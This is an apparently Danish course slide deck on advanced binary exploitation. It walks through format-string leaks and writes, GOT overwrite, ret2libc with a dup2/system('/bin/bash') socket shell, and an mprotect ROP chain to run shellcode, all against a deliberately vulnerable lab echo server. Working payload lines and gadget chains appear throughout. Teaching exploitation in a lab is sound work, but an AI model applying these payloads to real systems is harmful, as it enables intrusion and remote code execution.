Aftenens program

  • Format string exploitation
    • Memory leak / info leak
    • Arbitrary read/write
  • Omgåelse af No Execute / Data Execution Prevention
    • ret2libc
    • Return Oriented Programming (ROP)

Aftenens software

Kun ét sårbart program (well to, men der er kun én bit til forskel), men vi exploiter det på mange måder

Format string

Format strings bruges til formattering af tekstuel data og findes i mange programmeringssprog.

Et eksempel:

../images/printf_stack.png
char * name = "Benny";
int age = 38;
printf("My name is '%s' and I am %d years old\n", name, age);

Funktioner

printf, fprintf, vprintf, vfprintf, dprintf, sprintf, snprintf, syslog, kprintf….

MANGE!

Variadic function

Tager et ikke-fixed antal argumenter.

Funktionen udleder antallet af argumenter fra format strengen.

int printf(const char *format, ...);

Simple format specifiers

  • %d - Formatterer en integer som decimaltal
  • %x - Formatterer en integer som hexadecimaltal
  • %f - Formatterer en floating point
  • %s - Følger en pointer til en streng

Specificér bredde

  • %10d - Højrestil med ti pladser, udfyld med mellemrum
  • %010d - Højrestil med ti pladser, udfyld med nul
  • 0x%08x - Typisk formattering af pointer

Ombyt rækkefølge, gentag, undlad brug

  • %d/%d %d - Første, anden, tredje
  • %3$d - %2$d %2$d - Tredje, anden, anden

F.eks. til europæisk/amerikansk dato formattering.

Virker dog ikke under Windows.

Hvad hvis der indexeres ud over argumenterne?

../images/printf_stack.png
char * name = "Benny";
int age = 38;
printf("Muhahaha %16$08x\n", name, age);

Første opgave - Leak stakken og omgå ASLR/Canaries

En echo server

void handle_client(int socket) {
    char buffer[512];

    while (read_string(socket, buffer, sizeof(buffer) - 1) > 0) {
        if (strcmp(buffer, "exit\n") == 0) {
            break;
        }
        fprintf(stdout, "%s", buffer);
        dprintf(socket, buffer);
    }
}

ssize_t read_string(int socket, char * buffer, ssize_t max) {
    ssize_t total = 0, r;

    while (total < max) {
        r = read(socket, buffer + total, max - total);
        if (r <= 0) {
            return r;
        }
        total += r;
        buffer[total] = '\0';
        if (buffer[total - 1] == '\n') {
            break;
        }
    }
    return total;
}

Første opgave - Leak stakken og omgå ASLR/Canaries

$ checksec assignments/fmt
[*] '/vagrant/presentations/04-advanced-exploitation/assignments/fmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled

Første opgave - Leak stakken og omgå ASLR/Canaries

../images/stack_for_leak.png

Helt præcis find ud af følgende:

  • Hvad er værdien af kanarien?
  • Hvor er fmt programmet indlæst (base addr)?
  • Hvad er adressen på bufferen?
  • Hvad er adressen på retur adressen?
  • Hvad er værdien af vores socket file descriptor?

Andre eksempler på leaks

#include <stdio.h>
void how_old() {
    int age;
    printf("Enter your age: ");
    scanf("%d", &age);
}
void leak() {
    char * ptr;
    printf("Have some data: %s\n", ptr);
}
int main(int argc, char ** argv) {
    how_old();
    leak();
    return 0;
}

Andre eksempler på leaks

typedef struct {
    time_t birthday;
    char name[256];
    enum { MALE, FEMALE } gender;
} person_t;

void do_stuff(int socket) {
    person_t person;
    person.birthday = time(NULL);
    strcpy(person.name, "Poul");
    person.gender = MALE;
    write(socket, &person, sizeof(person));
}

Andre eksempler på leaks

../images/heartbleed1.png

Andre eksempler på leaks

../images/heartbleed2.png

Andre eksempler på leaks

../images/heartbleed3.png

Andre eksempler på leaks

../images/heartbleed4.png

Andre eksempler på leaks

../images/heartbleed5.png

Andre eksempler på leaks

../images/heartbleed6.png

Opdatering af variable

  • %n - Opdater fire byte dword med antallet af udskrevne bytes
  • %hn - Opdater to byte word med antallet af udskrevne bytes
  • %hhn - Opdater én byte med antallet af udskrevne bytes
#include <stdio.h>
int main(int argc, char ** argv) {
    int i, n;
    printf("Hello %s%n\n", argv[1], &n);
    for (i = 2; i < argc; i++) {
        printf("%*s%s%n\n", n, "", argv[i], &n);
    }
    return 0;
}

Opdatering af variable

$ ./t Robert Chris Bang Larsen
Hello Robert
            Chris
                 Bang
                     Larsen

Opdatering af variable

../images/write_stack.png

Anden opgave - Find tre led i ebp kæden

…og lad os da også bare se, at vi kan opdatere en af dem

Find tre led i ebp kæden??? WTF??

(gdb) x/xw $ebp
0xffce7748:     0xffce7768
(gdb) x/xw 0xffce7768
0xffce7768:     0xffce7798
(gdb) x/xw 0xffce7798
0xffce7798:     0xffce77d8

Placér arbitrær pointer på stakken

Inden vi begynder ser ebp kæden således ud:

../images/arbitrary_pointer_1.png

Derefter laver vi en r.sendline('A' * 0xef + '%145$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0xef + '%145$hhn')

../images/arbitrary_pointer_2.png

Derefter laver vi en r.sendline('A' * 0x99 + '%137$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0x99 + '%137$hhn')

../images/arbitrary_pointer_3.png

Derefter laver vi en r.sendline('A' * 0xbe + '%145$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0xbe + '%145$hhn')

../images/arbitrary_pointer_4.png

Derefter laver vi en r.sendline('A' * 0x9a + '%137$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0x9a + '%137$hhn')

../images/arbitrary_pointer_5.png

Derefter laver vi en r.sendline('A' * 0xad + '%145$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0xad + '%145$hhn')

../images/arbitrary_pointer_6.png

Derefter laver vi en r.sendline('A' * 0x9b + '%137$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0x9b + '%137$hhn')

../images/arbitrary_pointer_7.png

Derefter laver vi en r.sendline('A' * 0xde + '%145$hhn')

Placér arbitrær pointer på stakken

Efter r.sendline('A' * 0xde + '%145$hhn')

../images/arbitrary_pointer_8.png

Vi kan nu enten skrive til adressen med %157$hhn eller læse fra den med %157$s

Tredje opgave - Lav arbitrær pointer i tredje led

Fjerde opgave - Udbyg med arbitrary write

Exploit ved at overskrive returadressen så vi returnerer til bufferen, som vi selvfølgelig først har fyldt med shellcode.

Optimering af skrivning/læsning

  • Brug r.sendline('%200x') istedet for r.sendline('A' * 200)
  • Opdater kun de dele af pointeren, som har ændret sig
  • Indlejr pointeren i format strengen (hvis ikke adressen indeholder ulovlige tegn)
    • r.sendline(flat(0xdeadbeef, '%6$s'))
  • Lav flere skrivninger med samme streng

Leg selv med det

Alternativ til overskrivning af retur adresse

Husker I GOT/PLT?

Alternativ til overskrivning af retur adresse

080482f0 <getpid@plt>:
 80482f0:       ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 80482f6:       68 00 00 00 00          push   0x0
 80482fb:       e9 e0 ff ff ff          jmp    80482e0 <_init+0x2c>

0804841d <main>:
....
 8048423:       e8 c8 fe ff ff          call   80482f0 <getpid@plt>
....

Alternativ til overskrivning af retur adresse

../images/got_plt_01.png

Alternativ til overskrivning af retur adresse

../images/got_plt_02.png

Alternativ til overskrivning af retur adresse

../images/got_plt_03.png

Femte opgave - Ændr til at benytte GOT overwrite

Interessante funktionspointere?

  • Global Offset Table
  • libc malloc hooks
  • Program/library specifikke pointere

Næste mitigation - No Execute

Også kaldt Data Execution Prevention, eller W^X

Code signing giver et lignende problem.

Næste mitigation - No Execute

$ checksec assignments/fmt_nx
[*] '/vagrant/presentations/04-advanced-exploitation/assignments/fmt_nx'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Næste mitigation - No Execute

$ grep -E '(fmt_nx)|(stack)' /proc/$(pidof fmt_nx)/maps
56559000-5655b000 r-xp 00000000 00:7d 22 /04-advanced-exploitation/fmt_nx
5655b000-5655c000 r--p 00001000 00:7d 22 /04-advanced-exploitation/fmt_nx
5655c000-5655d000 rw-p 00002000 00:7d 22 /04-advanced-exploitation/fmt_nx
ff9ae000-ff9cf000 rw-p 00000000 00:00 0  [stack]

Løsning 1 - ret2libc

Udføres system("/bin/bash"); ser stakken således ud ved første instruktion i system@libc:

../images/ret2libc_1.png

Løsning 1 - ret2libc

Hvad nu hvis vi får stakken til at se sådan her ud lige inden en ret instruktion?:

../images/ret2libc_2.png

Hvordan finder vi system@libc?

Fandens komplekst men meget lærerigt at forsøge manuelt.

Indtil lysten til den slags dukker op kan I benytte DynELF klassen fra pwntools.

class DynELF:
    ...
    def __init__(self, leak, pointer=None, elf=None, libcdb=True):
        ...

Opgave 6 - Lav arbitrary read funktion

Test den ved at resolve system fra libc

Opgave 7 - Returner til system

Hvorfor fik vi ikke en shell?

Det gjorde vi også:

[pid  5410] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid  5410] execve("/bin/sh", ["sh", "-c", "/bin/bash"], [/* 3 vars */]) = 0
strace: [ Process PID=5410 runs in 64 bit mode. ]
.......
[pid 5410] read(0, "", 8192)           = 0
[pid 5410] exit_group(0)               = ?
.......
[pid  5403] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xdeadbeef} ---
....

Hvorfor fik vi ikke en shell?

Vi kommunikerer med processen via en socket med file descriptor 4.

Shellen snakker med stdin, stdout og stderr som har file descriptors 0, 1 og 2

Hvorfor fik vi ikke en shell?

Husk findpeersh?

Den fandt en socket filedescriptor og kopierede den til filedescriptor 0, 1 og 2.

Vi kan gøre det samme.

Opgave 8 - Chained ret2libc

Vi skal gøre dette:

dup2(4, 0);
dup2(4, 1);
dup2(4, 2);
system("/bin/bash");

Opgave 8 - Chained ret2libc

Men det er problematisk

../images/bad_chaining.png

Opgave 8 - Chained ret2libc

Ryd stakken mellem "kald"

../images/good_chaining.png

Når ret2libc ikke virker

  • Statisk lænkede programmer uden libc
  • Hvis vi ikke kan resolve
  • I x86_64/ARM/MIPS leveres argumenter ikke på stakken men i registre

Return Oriented Programming (ROP)

Kræver kontrol med stakken.

ROP Gadget: Kort serie af instruktioner som ender med ret eller call/jmp til et register

ROP Chain: Serie af gadgets, som opnår et delmål

Kæd dem sammen ved at returnere rundt for at opnå et større mål.

Return Oriented Programming (ROP)

Indsamling af gadgets

$ ROPgadget --multibr --binary assignments/fmt_nx
Gadgets information
============================================================
0x00000936 : adc al, 0x24 ; call eax
0x00000983 : adc al, 0x24 ; call ecx
0x00001297 : adc al, 0x41 ; ret
....
0x00000b4d : sub esp, 0x44 ; call 0x8f9
0x0000071d : sub esp, 8 ; call 0x8f9
0x00000931 : test eax, eax ; je 0x92c ; mov dword ptr [esp], edx ; call eax
0x00001293 : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret

Unique gadgets found: 158

Return Oriented Programming (ROP)

Dem vi kan nøjes med

0x00000d13 : add esp, 0x44 ; pop ebx ; pop ebp ; ret
0x00000e88 : int 0x80 ; ret
0x00000739 : pop ebx ; ret
0x00000d7b : pop eax ; ret
0x00000737 : les ecx, ptr [eax] ; pop ebx ; ret
0x00000a06 : lea edx, dword ptr [ebx - 0x110] ; mov dword ptr [esp], edx ; call eax
0x00000928 : pop ebx ; pop ebp ; ret

Return Oriented Programming (ROP)

Slutmålet med vores kæde:

mprotect(shellcode & PAGE_MASK,
         PAGE_SIZE * 2,
         PROT_READ|PROT_WRITE|PROT_EXEC);
((void(*))shellcode)();
mov eax, SYS_mprotect
mov ebx, shellcode & PAGE_MASK
mov ecx, PAGE_SIZE * 2
mov edx, PROT_READ | PROT_WRITE | PROT_EXEC
int 0x80
jmp shellcode

Return Oriented Programming (ROP) - delmål 1

edx = PROT_READ|PROT_WRITE|PROT_EXEC = 7

fmt_base + POP_EBX, # pop ebx ; ret
7 + 0x110,          # ->ebx
fmt_base + POP_EAX, # pop eax ; ret
fmt_base + POP2,    # ->eax = pop ebx ; pop ebp ; ret
fmt_base + LEA_EDX, # lea edx, dword ptr [ebx - 0x110] ; mov dword ptr [esp], edx ; call eax
0xdeadbeef,         # Will be overwritten

Return Oriented Programming (ROP) - delmål 2

ecx = PAGE_SIZE * 2 og ebx = shellcode & PAGE_MASK

poke(fmt_base + 0x3000, p32(PAGE_SIZE * 2) + "\0\0")

fmt_base + 0x3000 er en skrivbar datasektion.

fmt_base + POP_EAX, # pop eax ; ret
fmt_base + 0x3000,  # ->eax
fmt_base + LES_ECX, # les ecx, ptr [eax] ; pop ebx ; ret
buffer & PAGE_MASK, # address to mprotect must be on a page boundary

Return Oriented Programming (ROP) - delmål 3

Udfør systemkald til mprotect og spring så til shellcoden

fmt_base + POP_EAX,           # pop eax ; ret
int(constants.SYS_mprotect),  # ->eax
fmt_base + INT_80,            # int 0x80 ; ret
buffer

Format string opgaver

  • Over The Wire - Behemoth og Narnia har flere levels med format strings
  • Smash The Stack - IO har flere levels med format strings
  • Pwnable.kr - fsb (format string bug)
  • https://ctf.pwnies.dk/ - fmtstr (har fire opgaver, men er til amd64, kører på VM’en)
../images/format_string_aint_dead.png

ret2libc / ROP opgaver

Maaange af de sværere opgaver på pwnable.kr kræver ROP.

Jeg har skrevet writeups af det meste: https://blog.the-playground.dk/